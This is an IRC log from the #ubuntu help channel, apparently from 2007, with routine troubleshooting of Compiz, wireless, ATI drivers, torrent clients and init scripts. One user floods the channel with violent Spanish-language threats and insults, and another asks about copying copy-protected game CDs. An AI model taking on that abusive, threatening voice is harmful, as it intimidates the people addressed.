[06:28] <marioosz> howlingmadhowie: looks like that... but i still dont know how its happened that alt+f3 is bint to the /etc/event.d/tty3 event :(   $ dumpkeys | grep tty gives me zero result
[06:28] <Stwange> CoasterMaster, yeah I did sudo rm -R ~/.Trash/*, similar :) you pointed me in the right direction tho
[06:28] <[nrx] > i don't have it on the laptop :(
[06:28] <hjmills> Delta, is metacity runing?
[06:28] <CoasterMaster> Stwange, ok cool. :)
[06:28] <Delta> I dont know how can I check?
[06:28] <clos> magnetron this is the exact card i have - http://cgi.ebay.ca/Apple-128-bit-AirPort-Wireless-Card-APN-630-2883-C_W0QQitemZ330163909108QQihZ014QQcategoryZ80060QQssPageNameZWDVWQQrdZ1QQcmdZViewItem
[06:28] <howlingmadhowie> marioosz: it is unusual that alt+f3 does anything. are you sure you don't mean ctrl+alt+f3?
[06:29] <Delta> I can see the bar after I move the window...
[06:29] <hjmills> DigitalNinja, opencompositing.org is a good start
[06:29] <DigitalNinja> hjmills: Thanks! Going there now
[06:29] <howlingmadhowie> [nrx] : the way i see this, without more knowledge, nothing much can be done. how do you know the laptop isn't connected to the router?
[06:29] <hjmills> Delta, just a plain Ubuntu install, no compiz/beryl/fluxbox/blackbox?
[06:29] <guhhh>  i cant load an app... where can i look for logs related to it? syslog shows me nothing
[06:29] <[nrx] > howlingmadhowie, i can't ping the router
[06:30] <Delta> I do have compiz & emerald
[06:30] <alejandrojim> ola
[06:30] <howlingmadhowie> [nrx] : have you tried setting your ip-address manually?
[06:30] <hjmills> Delta, if you turn compiz off does it still have the problem?
[06:30] <velko> guhhh, start the app from the console. most programs print error messages on the standard output
[06:31] <howlingmadhowie> [nrx] : and entering essid and password using iwconfig?
[06:31] <aa^way> rambo3: to where? to mp3 memory or to computer?
[06:31] <magnetron> clos:  then it's NOT an Aiport Extreme, and NOT a broadcomm card. NO need for ndiswrapper, just PLUG IT IN AND TRY
[06:31] <Delta> never tried but I dont want to turn it off (and I dont know how :) )
[06:31] <hjmills> Delta, it sounds like compiz cant cope with positioning the windows properly - try checking the compiz settings
[06:31] <hjmills> Delta, when did the problem start?
[06:32] <Delta> I really dont remember
[06:32] <hjmills> Piddy, did you get your drive open?
[06:32] <[nrx] > howlingmadhowie, ive set the ip manually and tried with dhcp but i haven't tried setting the essid and password with iwconfig
[06:33] <hjmills> Delta, ok, i'm 99% sure its a compiz problem so search the compiz forums and use compiz config settings manager to check you have window placement settings correct
[06:33] <howlingmadhowie> [nrx] : that may well unfortunately be necessary, but it can be done quite easily :)
[06:33] <aa^way> rambo3: i see a .Trash-MyComputerName folder on Mp3, what does it mean?
[06:33] <hjmills> Delta, I dont use compiz so I cant really help, sorry
[06:33] <magnetron> !compiz
[06:33] <ubotu> Compiz (compositing window manager) and XGL (X server architecture layered on top of OpenGL) - Howto at http://help.ubuntu.com/community/CompositeManager - Help in #ubuntu-effects
[06:33] <[nrx] > what's the syntax for that?
[06:33] <hjmills> aa^way, it has all the stuff you deleted from it in there - delete that to delete the mp3s properly
[06:34] <aa^way> hjmills thanks and rambo3<3, yep theres like 140 files what takes about 256mb ( thats my mp3 size )
[06:34] <[nrx] > i've just noticed that running ifconfig shows the connection has a shit load of rx errors
[06:34] <Delta> Ok thanks anyway ... one more thing I installed avant-window-navigator (a dock) and I have my trash icon on my desktop... anyway to add it to the dock?
[06:34] <aa^way> omfg finnaly!! ive haxed so long xd
[06:34] <hjmills> [nrx] , iwconfig <interface> essid <essid> channel <channel> mode <mode - probably managed> enc <key> for wep
[06:34] <howlingmadhowie> [nrx] : i'm afraid i don't know anything about the errors.
[06:34] <howlingmadhowie> thanks hjmills :)
[06:34] <hjmills> [nrx] , the mode and channel args are optional - just leave them out if you want. To find the channel use sudo iwlist scan
[06:35] <marioosz> howlingmadhowie: probably yes :)
[06:35] <hjmills> howlingmadhowie, sure
[06:36] <hjmills> should ubuntu prompt to empty any .trash folders on a volume when you unmount it?
[06:36] <Stwange> I'm trying to get nm-applet running, it was running but none on my ?taskbar? so I killed it (using kill JOBID) and then tried running it from the terminal, and from alt-f2, neither work. Any suggestions? I can tell you the commands that got rid of it if that helps :(
[06:36] <howlingmadhowie> [nrx] : i must be on my way. good luck!
[06:37] <velko> Stwange, doesn't "progname &" work for you?
[06:37] <ConstyXIV> how far along is ubuntu's install.exe compared to debian's win32-loader?
[06:37] <epiclulz> i'm looking for software to help me copy protected game cds (acetone or dd don't work for this). anyone know any software for extracting images from protected game cds?
[06:38] <Stwange> velko, it returns it's process number, but it still doesn't come up anywhere
[06:38] <ConstyXIV> epiclulz: try cat /dev/cdrom > ~/game.iso
[06:38] <guhhh> ConstyXIV: really?
[06:39] <epiclulz> lol
[06:39] <ConstyXIV> guhhh: it's what I use to dump cds
[06:39] <ConstyXIV> it works
[06:39] <guhhh> hehehe
[06:39] <guhhh> nice method, but weird, lol
[06:40] <[nrx] > woohoo
[06:40] <[nrx] > it's working
[06:40] <epiclulz> ConstyXIV, it doesnt dump securoms though
[06:40] <lostallhope> how do i sett permission on a drive that isnt the orginal owner
[06:41] <rambo3> !fstab > lostallhope
[06:42] <GNine> room has definitely been flooded
[06:43] <linux__alien> is there any other Bit torrent client that i could use ?
[06:43] <linux__alien> in Ubuntu?
[06:43] <linux__alien> other than azuerus
[06:44] <linux__alien> azureus
[06:44] <d3ck4_> yes
[06:44] <linux__alien> d3ck4_, whats it
[06:44] <bruenig> linux__alien, bittornado, rtorrent, deluge, transmission
[06:44] <slackern> deluge-torrent is quite nice
[06:44] <d3ck4_> deluge-torrent
[06:44] <elliotjhug> linux__alien: I use bittornado
[06:44] <bruenig> fluxtorrent
[06:44] <linux__alien> will i face the same NAT problem in that also?
[06:44] <d3ck4_> deluge-torrent.org can bypass isp throttling
[06:44] <[nrx_] > :)
[06:45] <elliotjhug> linux__alien: NAT problems are in your router, not in your client
[06:45] <bruenig> yeah has nothing to do with the client
[06:45] <linux__alien> elliotjhug, yes
[06:45] <bruenig> you can pick a client that doesn't tell you they exist and be content like that I guess
[06:45] <Mantis-tracker> huhu
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[06:45] <Mantis-tracker>  VOY A CORTAROS LAS MANOS HIJOS DE PUTA PARA KE NO PODAIS TOKAR NI UNA PUTISIMA TECLA ESTO ES INSOPORTABLE
[06:45] <bruenig> !ops
[06:45] <Mantis-tracker>  HIJO DE LA GRAN PUTA ACABAS DE FIRMAR TU SENTENCIA DE MUERTE
[06:45] <ubotu> Help! Mez, LjL, elkbuntu, imbrandon, DBO, gnomefreak, Hobbsee, rob, ompaul, Madpilot, Burgundavia, Seveas, CarlK, crimsun, ajmitch, tritium, Nalioth, thoreauputic, apokryphos, tonyyarusso, PriceChild, Amaranth, jrib, jenda, nixternal, Myrtti, mneptok or Pici
[06:45] <linux__alien> cant i install deluge-torrent using synaptic?
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[06:46] <Seveas> festival should speak up quicker
[06:46] <alcoholic> lol
[06:47] <Some_ux> Hi, are there any good command line bittornet clients ?
[06:47] <bruenig> rtorrent
[06:47] <Seveas> Some_ux, btdownloadmanycurses
[06:48] <thedash> any tuts for setting up audio and such ?
[06:48] <d3ck4_> is there any free hosting that support torrentflux?
[06:48] <bruenig> !sound
[06:48] <ubotu> If you're having problems with sound, first ensure ALSA is selected, by double clicking on the volume control, then File -> Change Device (ALSA Mixer). If that fails, see https://help.ubuntu.com/community/Sound - https://help.ubuntu.com/community/SoundTroubleshooting - http://alsa.opensrc.org/index.php?page=DmixPlugin - For playing audio files, see !Players and !MP3
[06:49] <eelis> !video
[06:49] <ubotu> Ubuntu 7.04 installs multimedia codecs automatically. For older versions of Ubuntu, or if you can't use the automatic installer, see https://help.ubuntu.com/ubuntu/desktopguide/C/common-tasks-chap.html - For multimedia applications, see https://help.ubuntu.com/community/MultimediaApplications
[06:49] <slashzul> is there free hosting that support TOR?
[06:49] <neverblue> thedash, can you be more specific ?
[06:49] <Some_ux> i'll try rtorrent
[06:50] <thedash> neverblue :: eh, I rebooted and had no sound, so I switched back to the onboard card instead of the POS SBLive one I was using, but now I can only play sound from one app at a time
[06:50] <neverblue> thedash,  I too have had issues with multiple apps
[06:51] <neverblue> thedash, some apps are very greedy with regards to sound
[06:51] <GNine> not with ALSA
[06:51] <thedash> well, the only app that works *correctly* atm is amarok, which apparently uses xine ?
[06:51] <thedash> even the sound dialog can't play the sin wave sound right
[06:51] <neverblue> thedash, I believe it has something to do with the individual application your using, what two applications were you attempting to us?
[06:51] <neverblue> use*
[06:52] <enemy> j #ubuntu-de
[06:52] <thedash> it doesn't really matter, the second one never works, whether it be a game, another audio program, speaker-test, the sound dialog, etc
[06:53] <darwich> Can somebody plz help me with the new ATI driver ?
[06:54] <neverblue> thedash, ok, well I cannot probably help you then
[06:54] <neverblue> good luck
[06:55] <GNine> gxine, banshee and firefox here.  dvd, ogg and streamed media all work fine and can be played simultaneously in my system
[06:55] <GNine> using ALSA
[06:56] <Floating> anyone got an idea why i cant press install on the live cd - nothing happens
[06:56] <GuHHH> darwich: wazzup?
[06:56] <GNine> however.. i do have over 700mb of ram and 2.0ghz processor
[06:56] <elliotjhug> Floating: whats your hardware like?
[06:57] <Floating> 2ghz core 2 duo, 2gb ram, ati hd 2400xt mobility
[06:57] <GNine> however.. i always wonder bout users that got to have multiple media streams running at once..   :-/
[06:58] <praet> Floating: use the alternate cd
[06:58] <praet> if the livecd is giving you problems
[06:59] <marioosz> can anyone tell me how it is happening that when i press ctrl+alt+f3 it switches to /dev/tty3 console ? i want to change defaul behavior, where is the file that handles that ???
[06:59] <GNine> crash bandicoot
[06:59] <woodley> I am installing in my CD-less Thinkpad
[06:59] <Floating> first i tried the 7.04 live - woulndt load, then used alternate and installed fine but x wont start and i cant install the newest ati drivers because i cant install fglrx as it keeps wanting me to put in the alternate 7.04 cd and when i do it wont accept it - so i tried the 7.10 live cd build from the 9/9 and that loaded just fine except i got a msg sidebar applet didnt work and now i cant press install here
[07:00] <GNine> jambalaya
[07:00] <walidch> hi all
[07:00] <Pici> !gutsy | Floating
[07:00] <ubotu> Floating: Gutsy Gibbon is the code name for the next release of Ubuntu (7.10) | (due October 2007) | It is development software, as such unstable, support _only_ in #ubuntu+1
[07:01] <darwich> GuHHH: I installed the New Ati driver for ubuntu .. But it's not working ?
[07:01] <darwich> my screen is still running 60hz ..
[07:01] <darwich> How can i check if its installed correctly ?
[07:01] <magnetron> !fixres | darwich
[07:01] <ubotu> darwich: The X Window System is the part of your system that's responsible for graphical output. To restart your X, type  sudo /etc/init.d/?dm restart  in a console - To fix screen resolution or other X problems: http://help.ubuntu.com/community/FixVideoResolutionHowto
[07:01] <walidch> I currently have Dapper and I want to switch to Feisty, how can I just delete all the dapper files and install Feisty in a fresh manner? I have windows xp installed on the same hdd I don't want to format the whole hdd
[07:01] <GNine> 60hz is standard for most  LCD type monitors
[07:02] <darwich> magnetron: i dont have problems with my res .. Its just running 60hz
[07:02] <sauvin> walidch, I did that from a livedvd.
[07:02] <magnetron> darwich: that link adressess that problem as well. read it
[07:03] <darwich> Gnine: I run 75hz normally in 1600*1200
[07:03] <walidch> sauvin, no other way to do it?
[07:03] <darwich> Magnetron: Res can wait .. And the hz .. i want to check if my driver is installed correctly
[07:03] <Floating> ok then back to my original problem: how do i install gflxr on 7.04 alternate when the cd isnt reconqnised by 7.04 as the cd?
[07:03] <GNine> then you have a really nice monitor or you just cut its half life .. in half
[07:03] <magnetron> darwich: ok
[07:03] <darwich> GNine: 19" Sony Multisvan E400 .. Google it :)
[07:04] <sauvin> walidch, I don't know.
[07:04] <[nrx] > guys, any idea why apt-get is coming back with ip's for everything as 1.0.0.0?
[07:04] <ackbahr> Hi there! I have Feisty upgrade issues.... Can someone help?
[07:04] <magnetron> !ask | ackbahr
[07:04] <ubotu> ackbahr: Don't ask to ask a question. Just ask your question :)
[07:04] <savvas> ackbahr: you might as well fire away :)
[07:04] <GNine> 75hz is still unnecessary for desktop apps.. you running high level games on that ?
[07:04] <CAP3939> Hello Every One!
[07:04] <walidch> sauvin thanks
[07:05] <magnetron> !hi | ubuntuuser
[07:05] <ubotu> ubuntuuser: Hi! Welcome to #ubuntu!
[07:05] <cordova> Hello
[07:05] <ackbahr> Yesterday I saw with adept that FF was up, and started agreeing to the licence, when I thought I'd better leave it for today. Now, no upgrade method works!
[07:05] <ubuntuuser> hello how do i start the gui
[07:05] <cordova> $ startx
[07:05] <SlimeyPete> ubuntuuser: sudo /etc/init.d/gdm start
[07:05] <ubuntuuser> thnks
[07:05] <magnetron> ubuntuuser: what version of ubuntu did you install?
[07:06] <ubuntuuser> let me see
[07:06] <magnetron> server edition?
[07:06] <ubuntuuser> Server Edition Ubuntu 7.04 - Supported to 2008
[07:06] <Pici> ubuntuuser: Server installs do not have a gui by default.
[07:06] <philippoiu> hi
[07:06] <ackbahr> The most explicit error I got was update-manager telling me it could not fetch some (3) stuff, and that it was probably my network's fault (which isn't, of course).
[07:06] <[nrx] > guys, any idea why apt-get is coming back with ip's for everything as 1.0.0.0?
[07:06] <ubuntuuser> can i install
[07:07] <philippoiu> kann mir jemand sagen wie ich in ubuntu programme installieren kann?
[07:07] <Pici> ubuntuuser: The easiest way is to install ubuntu-desktop.
[07:07] <monkeyBox> So,  what is the main "gnome" package that ubuntu uses, so I can re-install it?  Is it "ubuntu-desktop"?  because it's not marked as installed ....
[07:07] <magnetron> ubuntuuser: the server edition comes without a GUI - for maximum speed. you need to install it separately with sudo apt-get install ubuntu-desktop
[07:07] <Pici> !de | philippoiu
[07:07] <ubotu> philippoiu: Deutschsprachige Hilfe fuer Probleme mit Ubuntu, Kubuntu und Edubuntu finden Sie in den Kanaelen #ubuntu-de, #kubuntu-de, #xubuntu-de und #edubuntu-de
[07:07] <linux__alien> i still dont know whats the problem with my system i ve enabled the ports using iptables which means the port is open and every client should work for that port but i dont get it
[07:07] <darwich> darwich@darwich-desktop:~$ glxgears
[07:07] <darwich> Xlib:  extension "XFree86-DRI" missing on display ":0.0".
[07:07] <darwich> Xlib:  extension "XFree86-DRI" missing on display ":0.0".
[07:07] <darwich> Segmentation fault (core dumped)
[07:07] <darwich> What's the reason ?
[07:07] <ackbahr> philippoiu: sudo apt-get install [Programname] 
[07:07] <Delta> hey I deleted my bottom bar and now I want it back ; I added a new bar(panel) but I dont have amm these things that shows the windows available
[07:07] <ubuntuuser> megnetron can i pm u
[07:07] <savvas> ackbahr: have you tried in gnome-terminal this: sudo apt-get update
[07:07] <Pici> !paste | Delta
[07:07] <Floating> sudo apt-get install xorg-driver-fglrx  - when i does that it says "insert 7.04 alternate cd" but when i insert it it wont load - any way of installing it without it asking for the cd?
[07:07] <ubotu> Delta: pastebin is a service to post large texts so you don't flood the channel. The Ubuntu pastebin is at http://paste.ubuntu-nl.org (make sure you give us the URL for your paste - see also the #ubuntu channel topic)
[07:07] <Delta> ?
[07:08] <Pici> Delta: not you, sorry.
[07:08] <darwich> pici .. i dont care about pastebin -.-' ... I just need help ..
[07:08] <darwich> PLZ ?
[07:08] <scag> I deleted a file from /etc/init.d/ .. How do I update it?
[07:08] <ackbahr> savvas: Well, I'm using KDE (noone would answer in #kubuntu), but I tried the same in Konsole and it did nothing....
[07:08] <savvas> scag: which file
[07:08] <ubuntuuser> megnetron
[07:08] <ubuntuuser> megnetron can i pm u
[07:08] <magnetron> Delta: so add it :D right click and choose add to panel - window chooser
[07:08] <scag> savvas: I filed I copied to it yesterday
[07:08] <scag> *a
[07:08] <magnetron> ubuntuuser: please take it in this channel
[07:09] <Delta> window selector?
[07:09] <ubuntuuser> ok so how do i install to much stuff it came of the screen
[07:09] <magnetron> Delta: that's it
[07:09] <ackbahr> just did it again, and I saw errors about the very same reps scrolling up!
[07:09] <Pici> darwich: How did you install the driver?
[07:09] <Delta> It doesnt look like I did
[07:09] <darwich> https://a248.e.akamai.net/f/674/9206/0/www2.ati.com/drivers/linux/linux_8.41.7-inst.html
[07:09] <darwich> Pici .. this one ^^
[07:09] <ubuntuuser> magnetron: ok so how do i install to much stuff it came of the screen
[07:09] <savvas> ackbahr: oh.. can you paste the errors in pastebin.ca and pass me the link to see the errors?
[07:10] <Delta> its window list but thanks anyway
[07:10] <magnetron> ubuntuuser: i don't understand, sorry
[07:10] <savvas> ackbahr: http://pastebin.ca
[07:10] <magnetron> Delta: well, almost :D
[07:10] <ackbahr> savvas: Yep, just getting it....
[07:10] <ubuntuuser> how do install the desktop
[07:10] <Pici> darwich: Is thdre a reason you did that instead of using the restricted drivers manager?
[07:10] <darwich> Yes
[07:10] <Pici> ubuntuuser: sudo apt-get install ubuntu-desktop
[07:10] <scag> I copied a shell script to /etc/init.d yesterdy, and used update-rc.d ... How do I remove it?
[07:10] <Floating> pls anyone? is there a known error in the 7.04 alternate cd? so it dont see it self as the cd? cause i cant install xorg-driver-fglrx
[07:11] <magnetron> ubuntuuser: on the command line, type: sudo apt-get install ubuntu-desktop
[07:11] <darwich> Pici: When i use the restricted Driver manager my 1950pro runs fully loaded all the time .. after just 5 minute it reach 100 degreas
[07:11] <darwich> Pici: i've been waiting for this new driver for 2 weeks now ;( .. Thought it would help fixing my problems
[07:11] <Delta> hmm I still havent found the answer to my shift+alt+ctrl+left/right problem ...(it just doesn work...it doesnt respont) any idea?
[07:12] <GuHHH> Delta
[07:12] <Delta> yeah?
[07:12] <GuHHH> Delta system -> preferences -> keyboard shortcuts
[07:12] <scag> Anyone?
[07:12] <Some_ux> i am running midnight commander via ssh (putty) and the ascii codes for text window frames are all messed up. what am i doing wrong ?
[07:12] <Delta> it is there
[07:13] <ubuntuuser> magnetron: its unpacking
[07:13] <GuHHH> Delta: isnt it "disabled"?
[07:13] <philippoiu> wie war der link?
[07:13] <philippoiu> hab auversehen das fensrter zu gemacht
[07:13] <Delta> no its not
[07:13] <ackbahr> savvas: http://pastebin.ca/695982
[07:13] <magnetron> ubuntuuser: the server edition is basically the desktop edition without the GUI
[07:13] <ubuntuuser> magnetron: its asking for a cd
[07:13] <magnetron> !de | philippoiu
[07:13] <ubotu> philippoiu: Deutschsprachige Hilfe fuer Probleme mit Ubuntu, Kubuntu und Edubuntu finden Sie in den Kanaelen #ubuntu-de, #kubuntu-de, #xubuntu-de und #edubuntu-de
[07:13] <darwich> pici: ? :/
[07:13] <magnetron> ubuntuuser: so insert the cd
[07:13] <Floating> can i borrow some in a pm to try and help me out - beeing trying to install unbunto and get it working with x for 10 hours now, and noone really seems to have much idear of what to do
[07:14] <ubuntuuser> ok
[07:14] <GuHHH> Delta: try chaning the key combination
[07:14] <TechnoFrood> I,ve just changed my RAID (nVidia on board raid) From a 2 disk Raid ) to a 4 disk RAID 5, It contains an NTFS Partition, and I am trying to use Gparted to increase the size of the partition, however Gparted is only seeing teh individual drives and not the raid
[07:14] <ubuntuuser> magnetron: ok but if i install the desktop i can browse the web right
[07:14] <kampred> anyone using 7.04 and can help me with touchpad-isn't working?  please help (am really super newbies)
[07:15] <magnetron> ubuntuuser: yes, most people just get the desktop edition
[07:15] <Delta> it does work if I change the keys
[07:15] <maserep> german irc for ubuntu?
[07:15] <Thyrane> Please help me
[07:15] <magnetron> !de | maserep
[07:15] <ubotu> maserep: Deutschsprachige Hilfe fuer Probleme mit Ubuntu, Kubuntu und Edubuntu finden Sie in den Kanaelen #ubuntu-de, #kubuntu-de, #xubuntu-de und #edubuntu-de
[07:15] <ubuntuuser> magnetron: ok so can i run everything in the desktop as if i run a server
[07:15] <shaffy> can anyone recommend a decent peer-2-peer program for ubuntu?  limewire maybe?
[07:16] <magnetron> ubuntuuser: yes
[07:16] <Thyrane> shaffy, DC++
[07:16] <SlimeyPete> shaffy: amule, or a bittorrent client
[07:16] <giany911> shaffy on what network ?
[07:16] <magnetron> shaffy: frostwire, "add remove programs"
[07:16] <ackbahr> savvas: Does it tell you anything?
[07:16] <shaffy> thanks guys, i appreciate the input.
[07:16] <giany911> i think he got too many answers:))
[07:16] <savvas> ackbahr: you can remove those repos, maybe they have removed them. All I can suggest is that you remove the repositories from the software sources dialog, I don't know if it's in KDE, so try: gksu gksu --desktop /usr/share/applications/software-properties.desktop /usr/bin/software-properties-gtk
[07:16] <Some_ux> why are my line drawing characters all messed up in Putty ? midnight commander is all messed up
[07:16] <shaffy> giany911, any network really.  :)
[07:17] <Pici> shaffy: Where are you running PuTTy from?
[07:17] <xOjka> anyone know a good free game for ubuntu ?
[07:17] <ubuntuuser> magnetron: ok
[07:17] <ackbahr> savvas: Great, I'll try that and tell you what I get
[07:17] <SlimeyPete> xOjka: Enemy Territory
[07:17] <Pici> !games > xOjka (Please see the private messsage from ubotu)
[07:17] <giany911> well ... amule, dcpp,valknut(dc++), deluge/azureus for torrents
[07:17] <cordova> x0jka: I like OpenArena.
[07:17] <Delta> !game
[07:17] <giany911> xojka the cube
[07:17] <ubotu> Sorry, I don't know anything about game - try searching on http://ubotu.ubuntu-nl.org/factoids.cgi
[07:17] <Delta> !gmaes
[07:17] <ubotu> Sorry, I don't know anything about gmaes - try searching on http://ubotu.ubuntu-nl.org/factoids.cgi
[07:17] <Delta> !games
[07:17] <ubotu> Information about games on Ubuntu can be found at https://help.ubuntu.com/community/Games and http://www.icculus.org/lgfaq/gamelist.php
[07:18] <shaffy> pici, not sure i know what you are asking
[07:18] <xOjka> ok ill test out Open arena thx :)
[07:18] <marioosz> can anyone tell me how it is happening that when i press ctrl+alt+f3 it switches to /dev/tty3 console ? i want to change defaul behavior, where is the file that handles that ???
[07:18] <kampred> anyone using 7.04 and can help me with touchpad-isn't working?  please help (am really super newbies) or direct me to somewhere, someroom, somesite perhaps? thank you
[07:18] <magnetron> !botabuse > Delta
[07:18] <savvas> marioosz: ctrl+alt+f7
[07:18] <giany911> lol
[07:18] <magnetron> !hardware | kampred
[07:18] <ubotu> kampred: For lists of supported hardware on Ubuntu see https://wiki.ubuntu.com/HardwareSupport
[07:18] <magnetron> kampred: that's all i can do for you
[07:18] <CyD_UL> hi, im experiencing a problem with vmware server on ubuntu host, using NAT
[07:19] <CyD_UL> anyone have an idea where i can look ?
[07:19] <velko> marioosz, i don't think you can change that
[07:19] <Thyrane> I copied a shell script to /etc/init.d yesterday, and used update-rc.d ... How do I remove it?
[07:19] <Pici> shaffy: You may need to adjust the translation options (Appearance>Translation) in putty to support UTF8, theres also a selection in there about line drawing.
[07:19] <kampred> thanks dude, will try
[07:20] <marioosz> savvas: what ctrl+alt+f7?
[07:20] <savvas> marioosz: ctrl+alt+f7 takes you back to graphical, i think ctrl+alt+f1 to f3 are reserved for console mode
[07:20] <velko> Thyrane, how about just deleting the script from /etc/init.d and the links in /etc/rc2.d ?
[07:20] <Pici> shaffy: I'm unsure if you need to reconnect to the server for that to take effect though.
[07:21] <Thyrane> velko, I deleted it from /etc/init.d, but I don't see the links in any of the rc*.d directories
[07:21] <xOjka> 3,
[07:21] <marioosz> savvas: ok but where is it defined ?\
[07:21] <savvas> marioosz: try to run gconf-editor
[07:21] <velko> Thyrane, so what's your problem exactly? the script does not start any more or am i wrong?
[07:21] <CyD_UL> anyone can help me with vmware server ?
[07:22] <DarkSpecter> could anyone help me with the setum of a analog tv tuner ?
[07:22] <DarkSpecter> setup even
[07:22] <ubuntuuser> magnetron: how long does it take
[07:22] <shaffy> pici, i think you must have me confused with someone else.  i only asked a question about p2p file sharing :)
[07:23] <magnetron> ubuntuuser: i don't know, less than 40 minutes i guess
[07:23] <Dyuer> is it possible to install ATI Rage Mobility drivers on ubuntu?
[07:23] <ubuntuuser> magnetron: ok thnks so much
[07:23] <Thyrane> velko, well the script was messing up.. It worked fine when I run it manually.. But doesn't work the way it should when I put it in init.d.... Well right now, I've deleted it from /etc/init.d/ but I can't find the links to it anywhere... So I don't know if there're broken links anywhere.. I when I used update-rc.d, it said the links were created in rc0.d, rc1.d, rc2.d, rc3.d, rc4.d, rc5.d
[07:23] <Thyrane> But I don't see it anywhere
[07:24] <ackbahr> savvas: Still not working, with the same problem.... Does update-manager have a different rep list from adept_manager?
[07:24] <velko> Thyrane, the links are named with prefix S (for start) and K (for kill) in these directories
[07:24] <Pici> Some_ux: You may need to adjust the translation options (Appearance>Translation) in putty to support UTF8, theres also a selection in there about line drawing.
[07:24] <Matic`Makovec> Can you somehow remotely find out if a server is running PHP and MySQL with apache?
[07:24] <darwich> CAN ANYBODY HELP ME WITH THE NEW ATI DRIVER ?
[07:24] <flush> yo whats the "radio" mode on the dd-wrt firmware ?
[07:24] <Norrel_> !caps
[07:24] <ubotu> PLEASE DON'T SHOUT! We can read lowercase too.
[07:24] <ikonia> darwich no need to use caps
[07:25] <ackbahr> darwich: Can you stop shouting?
[07:25] <darwich> -.-'
[07:25] <velko> Thyrane, even if there are broken links left this is no problem (the script won't be started anyway)
[07:25] <kitche> flush, umm it turns the radio on and off most likely
[07:25] <Some_ux> Pici: i am trying all the translation options but none is working
[07:25] <flush> kitche i figured it out
[07:25] <Pici> Some_ux: I'm not sure, but you may need to reconnect for them to take effect.
[07:25] <flush> but whats the radio for ?
[07:25] <kitche> flush, wireless :)
[07:25] <Some_ux> i'll try
[07:26] <Pici> Some_ux: ##putty also exists, I dont know how active it is though.
[07:26] <flush> kk
[07:26] <flush> thx
[07:26] <ikonia> Pici its pretty dead but the author does respond to emails and is a nice guy
[07:26] <tgelter> so I'm having a strange problem with compiz, my terminal program (gnome-terminal) will default to opening in the top-left corner of my screen, underneath the panel no matter what. also, k9copy now crashes when I try to open a dvd with it.
[07:26] <GuHHH> !rcconf
[07:26] <ubotu> Sorry, I don't know anything about rcconf - try searching on http://ubotu.ubuntu-nl.org/factoids.cgi
[07:26] <tgelter> These both happened after I upgraded to the unstable repos. I removed everything beryl/compiz/emerald that I could (purged), removed the unstable repos, and then reinstalled compiz, but I still have the same problems
[07:26] <velko> Thyrane, and the numbers in the links set the execution order. so S11klogd will be executed (starting klogd in /etc/init.d) before S30gdm. this is how it works
[07:26] <tgelter> what else could I try?
[07:26] <savvas> ackbahr: any luck?
[07:27] <amr> I have a question about what happened today in updates of "adding ATI "to compiz-fusion black list
[07:27] <cybojanek> .name
[07:27] <cybojanek> #name
[07:27] <ackbahr> savvas: Well, no.... I tried this, but none of the various upgrade methods I had tried before improved!
[07:27] <Thyrane> velko, Okay, I found them, and deleted them from all the directories. Whats another way of making a script run on startup?
[07:28] <amr> I have a question about what happened today in updates of "adding ATI "to compiz-fusion black list
[07:28] <ikonia> amr you said that question about 6 lines up
[07:28] <savvas> ackbahr: maybe it's because you're trying to use debian packages that are not compatible with ubuntu
[07:28] <Pici> amr: on Gutsy? #ubuntu+1 please
[07:28] <amr> i thought i wasnt sent
[07:28] <amr> ok
[07:29] <amr> thanks
[07:29] <Some_ux> Pici: thanks, resetting putty did the trick
[07:29] <amr> join /ubuntu+1
[07:29] <velko> Thyrane, this is the standard way to start programs when your machine boots. you may want to start the program not on boot time but when you log in
[07:29] <amr> join ubuntu+1
[07:29] <amr> join #ubuntu+1
[07:29] <Stwange> can anyone give me a hand with nm-applet? I ran: /etc/dbus-1/event.d/25NetworkManager stop and now I can't get it back. I've tried /etc/init.d/networking restart, I've tried running it from the terminal and ALT+F2 and it runs in my processes, but doesn't appear on the task bar
[07:29] <Pici> amr: /join #ubuntu+1
[07:29] <Thyrane> velko, Okay, thats fine too, how do I do that?
[07:30] <velko> Thyrane, if you use gnome put the script in the session
[07:30] <luxmarvin> experience with MyrhTV?
[07:30] <Thyrane> velko, I put it in sessions but it doesn't work
[07:30] <bruenig> Thyrane, does it require root
[07:30] <amr> thank u again
[07:30] <amr> :)
[07:30] <Thyrane> bruenig, No it doesn't
[07:30] <bruenig> Thyrane, how do you know it doesn't work
[07:30] <savvas> Stwange: try this: sudo killall -9 nm-applet && nm-applet
[07:31] <Thyrane> bruenig, Its a script to delete a file, but it doesn't delete it..
[07:31] <TheZanke> what program can i use to burn iso to cd in ubuntu
[07:31] <[nrx] > Can anyone suggest why apt-get is resolving all download hosts to 1.0.0.0?
[07:31] <savvas> TheZanke: gnomebaker or brasero or.. k3b
[07:31] <ikonia> [nrx]  no dns ?
[07:31] <bruenig> Thyrane, when you run the script on your own it works?
[07:31] <johnon> TheZanke:k3b
[07:31] <Thyrane> bruenig, but the script works fine if I run it manually
[07:31] <Thyrane> bruenig yes
[07:31] <Stwange> savvas, it does the same thing it does every time I try to run nm-applet, it just sits on a blank line and does nothing
[07:31] <bruenig> Thyrane, does it have full path?
[07:31] <[nrx] > ikonia: that's what i thought, but resolv etc are all fine?
[07:32] <ikonia> [nrx]  check other hosts
[07:32] <bruenig> Thyrane, like how do you run it yourself
[07:32] <[nrx] > i can use nslookup etc and it all works fine
[07:32] <Thyrane> bruenig: This is what I added to sessions ---> cd /home/wotanist/ && ./vnstatreset
[07:32] <[nrx] > just apt-get doesn't
[07:32] <[nrx] > hehe
[07:32] <ikonia> [nrx]  so its just when you use apt ?
[07:32] <bruenig> Thyrane, just do /home/wotanist/vnstatreset
[07:32] <ikonia> [nrx]  check your sources.list
[07:32] <[nrx] > ikonia: yes
[07:32] <Some_ux> how do i install debian packages ?
[07:32] <Thyrane> bruenig, Okay, I'll try that
[07:32] <[nrx] > ikonia: sources.list hasn't changed tho
[07:32] <yotux> Hello what does it take to create a thin client environment?
[07:32] <ikonia> still check
[07:33] <Haza1> Hello folks. am i right in thinking that if i want to install a .bin file i would goto the terminal and type sudo ./file.bin
[07:33] <ikonia> yotux can you expand on that ?
[07:33] <bruenig> Thyrane, ./ just means . which is the current directory, so it is pointless really, the tutorials don't explain that and I can see where someone might think it means execute or something but it is just a path ./
[07:33] <Haza1> I get an error "Command not found"
[07:33] <Thyrane> bruenig, yeah thats what I thought too
[07:33] <[nrx] > ikonia: it's fine
[07:33] <ikonia> Haza1 make sure it has execute permissions
[07:33] <Haza1> ahhhh, gotcha ;)
